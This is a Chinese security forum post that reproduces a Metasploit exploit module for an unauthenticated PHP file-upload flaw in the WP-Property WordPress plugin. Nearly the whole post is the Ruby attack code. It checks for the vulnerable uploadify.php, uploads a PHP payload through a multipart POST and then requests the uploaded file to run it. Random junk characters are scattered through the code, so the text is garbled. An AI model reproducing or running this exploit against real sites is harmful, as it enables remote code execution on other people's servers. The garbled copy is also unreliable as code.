找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2598|回复: 0
打印 上一主题 下一主题

WordPress WP-Property PHP 文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:51:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
WordPress WP-Property PHP 文件上传漏洞
3 ]- o3 D  u7 n5 ?& P" F7 X* Q( e& A
## # This file is part of the Metasploit Framework and may be subject to
) [$ ?" _& Z; H# A( F! Z5 P: B/ d$ a. L! G+ @  a# h
# redistribution and commercial restrictions. Please see the Metasploit* D! d8 X" D4 R0 b
# v0 s# K+ g& g+ g8 L0 n& P
# Framework web site for more information on licensing and terms of use.
5 W( q! n0 K' m6 y9 K$ ]4 E# }/ E* b0 H/ F% `1 `& h
#   http://metasploit.com/framework/ ##9 Z! ?+ o. a2 S6 y3 `, p, G

5 y# E+ \- g- l% d6 |& a; z & f9 ]1 g! ?: e5 `/ _8 m& s

) C5 w: T3 u: U" M; K
  ^5 d: y& n: R7 `; ~- P# Y; E3 B$ m1 y1 c+ N  L# s
require 'msf/core'. Q; {2 x) w- k6 i5 |: [' R
require 'msf/core/exploit/php_exe'' V$ ?9 `( E$ L) u6 p( K8 k

4 q0 H: c9 i9 h# uclass Metasploit3 < Msf::Exploit::Remote     Rank = ExcellentRanking       include Msf::Exploit::Remote::HttpClient     include Msf::Exploit:hpEXE       def initialize(info = {})         super(update_info(info,             'Name'           => 'WordPress WP-Property PHP File Upload Vulnerability',1 B0 P- @8 t. X- Y+ f& A
'Description'    => %q{( K) q- e/ `, _( k7 J% W
This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress                 plugin. By abusing the uploadify.php file, a malicious user can upload a file to a                 temp directory without authentication, which results in arbitrary code execution.             },             'Author'         =>; ~9 M# j" |/ s- \
[. [0 w. m/ L8 X) w
'Sammy FORGIT', # initial discovery
5 z" S: F- S: Q& y'James Fitts <fitts.james[at]gmail.com>' # metasploit module) Y: D/ Q6 X4 B* l2 {* A! l
],
& x9 a' N. U7 R) I* ~'License'        => MSF_LICENSE,
! [# }  |7 m* Z7 a$ w'References'     =>' e1 t9 X* e/ t
[
  x1 N* }8 H3 J7 _[ 'OSVDB', '82656' ],
& t  \/ i; _& J% G[ 'BID', '53787' ],/ ]& z# H/ [8 e; e) G3 }
[ 'EDB', '18987'],  X8 K+ C- }' k% G: t( j, ?& E1 g& z
[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]  A  c- ^" R" n% f4 T( P1 p6 p
],
6 R* U5 d6 g/ [7 N$ s3 }* |'Payload'        =>
3 Z- v+ M# {7 ^{/ J5 H; _1 \$ S! V; o2 b
'BadChars' => "\x00",6 P5 ?; V1 ]; E# t% X7 ^6 M
},/ y/ d' K& s1 [, U$ I' A, g' P5 W7 k
'Platform'       => 'php',, S- W8 _) \  W3 m! f6 c. B
'Arch'           => ARCH_PHP,
7 c+ u9 Y* l% u. S'Targets'        =>
  B& i1 R$ E. t3 X; e  R[% }7 ?2 Z- |- f$ ^* f' x
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
, O8 L% N- h* O+ ~[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
% }" v* y$ m: \5 p) s, h],
! B& X5 e7 o' B6 e& E1 s& ~- Y'DefaultTarget'  => 0,) W6 s5 `# k6 Y: B1 W
'DisclosureDate' => 'Mar 26 2012'))
5 J& \# ~$ r6 S
: @' M$ J7 B! B3 Y( q- c! Bregister_options(, T: v9 `4 V/ L+ q* [& r! _( F) a
[6 [$ N6 h! D7 W0 r9 {: c
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])0 d' @0 C+ V- Q
], self.class)
' k& v+ L* {. S; {( `end1 o/ i% |) M$ h( Q$ ~6 z' {( e. x+ f
3 }; U8 g- S- T
def check. x( w& [; C7 P4 ~- {' E
uri =  target_uri.path- Q+ N  s" P4 o8 K8 [. J. s
uri << '/' if uri[-1,1] != '/'           res = send_request_cgi({             'method' => 'GET',7 T  |6 n- J7 O+ L* c( m  z
'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"5 x0 Z' ]# l) ]) [- d4 ]' n
})( @& i. y2 _1 H2 f) b+ y% S
( y- K" ]; G5 X5 Q6 E
if not res or res.code != 200% b: j( _4 W! V+ h, P$ y+ c
return Exploit::CheckCode::Unknown
0 w* L3 p3 X: {- cend
2 X% E0 e% c$ t% R- Z0 |  s3 ~( k* Z
return Exploit::CheckCode::Appears
5 m' t3 B; |. ^end. y; u$ y" o) ?) S* Z

9 |& m1 J: M% J- }def exploit
, f0 F' a* b: E" J" Y  q* W' Muri =  target_uri.path
$ i. d$ w. G# M$ N/ x" g1 Euri << '/' if uri[-1,1] != '/'           peer = "#{rhost}:#{rport}"           @payload_name = "#{rand_text_alpha(5)}.php"         php_payload = get_write_exec_payload(:unlink_self=>true)
! a, i  H; ?2 g& E& e% u7 x
1 V1 V% Y2 r" U; _5 P- h" o3 sdata = Rex::MIME::Message.new$ Y, k/ J4 D" O. P6 x, s- r
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
! R# {: i3 {: a/ @3 q0 C! hdata.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")
( C6 ^) r% x8 }9 c! [! vpost_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')+ R3 g7 a& {2 K3 X! i
4 u; q1 l4 B& @9 A
print_status("#{peer} - Uploading payload #{@payload_name}")% q; m) d0 D. l7 Q
res = send_request_cgi({
& I. C, K5 C7 O8 }) u  a'method' => 'POST',
# n' v- A& a7 d3 h  X0 {, \'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",
  L4 y/ G6 A! ]8 ['ctype'  => "multipart/form-data; boundary=#{data.bound}",- |" ~+ [2 w: U0 W" e
'data'   => post_data
7 c/ K$ M. V5 J" s})5 M! Y6 i& e: s! q  v
% e1 Y  J1 x7 [2 z* [* ^
if not res or res.code != 200 or res.body !~ /#{@payload_name}/, y- K: l! w$ [) E
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")+ T" Z. |$ q) h" y9 N& N
end
* B! Y, a2 Z, Y1 M( V& K6 @8 u, |" k0 `% c
upload_uri = res.body
- \7 c0 n' G0 q2 s8 c9 P. G) e) H  p, u% Z' }  T
print_status("#{peer} - Executing payload #{@payload_name}")( G: `( b+ K$ {% k. {
res = send_request_raw({5 g' j" x3 h+ [9 D5 c" c7 k
'uri'    => upload_uri,) q) d5 h  S0 i
'method' => 'GET'
6 ?& V4 B# u8 j3 I: S. C# y})
2 ~) D; {3 w( J. f0 uend
/ B! ?1 I& B, W& V- O0 q4 A0 Hend$ z: ?# o. V: W% J/ b' ?7 p8 \

" x4 l: G: b1 S) I$ e" V. K不要问我这写的是什么 怎么利用 我是说msf." O3 y4 u. i8 C

3 L! P  V& d9 ~  d% \( H
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表